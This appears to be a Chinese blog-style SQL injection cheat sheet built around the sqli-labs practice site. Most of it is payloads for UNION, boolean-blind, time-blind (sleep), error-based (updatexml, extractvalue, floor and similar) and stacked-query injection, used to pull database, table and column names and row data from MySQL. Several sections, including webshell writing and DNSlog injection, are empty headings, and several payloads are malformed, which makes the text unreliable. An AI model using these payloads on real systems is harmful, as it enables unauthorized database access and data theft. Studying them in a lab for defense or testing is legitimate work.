目录

一、原理

二、SQL注入判断方法

1.字符型检测

2.数字型检测

3.搜索型检测和xx型检测

三、union注入

1.order by判断列数

2.union 联合查询

四、盲注

1.布尔盲注

(1)查询数据库长度

(2)查询当前数据库名称

(3)查询数据库下有多少表

(4)查询数据库下表名第一位

(5)查询数据库下表中有多少个字段

(6)判断数据库下表中的第一个字段的长度

(7)查询数据库下表里面的第一个字段的第一位是多少

(8)得到字段探测第一条数据

2.时间盲注

(1)判断是否存在延迟函数

(2)查询当前数据库的长度,如果正确那么就延迟5秒

(3)判断当前数据库名第一位是否为a

(4)判断当前数据库名第一位ascii是否为100

(5)查询表数量

(6)查询表名长度

(7)截取表名第一位

(8)查询列字段数量

(9)查询列名长度

(10)截取列名第一位

(11)查询id第一条数据的长度

(12)获取数据信息内容

五、报错注入

(1)floor()

(2)extractvalue()

(3)updatexml()

(4)geometrycollection()

(5)multipoint()

(6)polygon()

(7)multipolygon()

(8)linestring()

(9)multilinestring()

(10)exp()

六、堆叠注入

七、二次注入

(1)插入恶意数据

(2)引用恶意数据

八、宽字节注入

(1)原理

(2)条件

九、dnslog注入

(1)条件

十、请求头注入

十一、SQL注入写入webshell

十二、总结


一、原理

二、SQL注入判断方法

1.字符型检测

url: http://127.0.0.1/sqli-labs-master/Less-1/?id=1’

会显示这样的报错,大致意思是你有一个sql语法错误,当在后面加了%23一个注释符后会正常显示。

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=1#
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2#

2.数字型检测

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2

3.搜索型检测和xx型检测

三、union注入

1.order by和报错注入

select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));

2.union 联合查询

?id=111’ union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema=‘数据库名’) --+

四、盲注

1.布尔盲注

(1)查询数据库长度

and (length(database()))>8%23

(2)查询当前数据库名称

and (ascii(substr(database(),1,1)))<120 %23

(3)查询数据库下有多少表

and (select count(*) from information_schema.tables where table_schema='数据库名')>4 %23

(4)查询数据库下表名第一位

and  (length((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1)))=6%23

(5)查询数据库下表中有多少个字段

and  (ascii(substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1))>100)%23

(6)判断数据库下表中的第一个字段的长度

and  (length((select column_name from information_schema.columns where table_schema='数据库名称' and table_name='表名' limit 0,1)))=2%23

(7)查询数据库下表里面的第一个字段的第一位是多少

and  (ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)))=105 %23

(8)得到字段探测第一条数据

and (ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))=68 %23

2.时间盲注

(1)判断是否存在延迟函数

and sleep(5) %23

(2)查询当前数据库的长度,如果正确那么就延迟5秒

and if((length(database()))>7,sleep(5),1) --+

(3)判断当前数据库名第一位是否为a

and if((substr(database(),1,1)='a'),sleep(5),1)  %23

(4)判断当前数据库名第一位ascii是否为100

and if((ascii(substr(database(),1,1))=100),sleep(5),1)  %23

(5)查询表数量

and if((select count(*) from information_schema.tables where table_schema='数据库名称')=4,sleep(5),1)%23

(6)查询表名长度

and if((select length((select table_name from information_schema.tables where table_schema='数据库名' limit 3,1))=5),sleep(5),1)%23

(7)截取表名第一位

and if((select ascii(substr((select table_name from information_schema.tables where table_schema='数据库名 limit 3,1),1,1)))=117,sleep(5),1)%23

(8)查询列字段数量

and if(((select count(*) from information_schema.columns where table_schema='数据库名' and table_name='users')=3),sleep(5),1)%23

(9)查询列名长度

and if((select length((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1))=2),sleep(5),1)%23

(10)截取列名第一位

and if((select ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)))=105,sleep(5),1)%23

(11)查询id第一条数据的长度

and if((select length((select id from 表名  limit 0,1)))=1,sleep(5),1)%23

(12)获取数据信息内容

and if((select ascii(substr((select id from 表名  limit 0,1),1,1)))=49,sleep(5),1)%23

五、报错注入

(1)floor()

and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

(2)extractvalue()

select * from 数据库名 where id=1 and (extractvalue(1,concat(0x7e,(select 表名()),0x7e)));

(3)updatexml()

select * from 数据库名 where id=1 and (updatexml(1,concat(0x7e,(select 表名()),0x7e),1));

(4)geometrycollection()

select * from 数据库名where id=1 and geometrycollection((select * from(select * from(select 表名())a)b));

(5)multipoint()

select * from 数据库名 where id=1 and multipoint((select * from(select * from(select 表名())a)b));

(6)polygon()

select * from 数据库名 where id=1 and polygon((select * from(select * from(select 表名())a)b));

(7)multipolygon()

select * from 数据库名 where id=1 and multipolygon((select * from(select * from(select 表名())a)b));

(8)linestring()

select * from 数据库名 where id=1 and linestring((select * from(select * from(select 表名())a)b));

(9)multilinestring()

select * from 数据库名 where id=1 and multilinestring((select * from(select * from(select 表名())a)b));

(10)exp()

select * 数据库名 test where id=1 and exp(~(select * from(select 表名())a));

六、堆叠注入

例如

select * from users;show databases;

七、二次注入

二次注入,可以概括为以下两步:


(1)插入恶意数据

(2)引用恶意数据

八、宽字节注入

(1)原理

(2)条件

九、dnslog注入

(1)条件

十、SQL注入写入webshell

(1)条件

十一、总结

总结了很久的资料,希望各位技术友可以读完。

07-07 08:53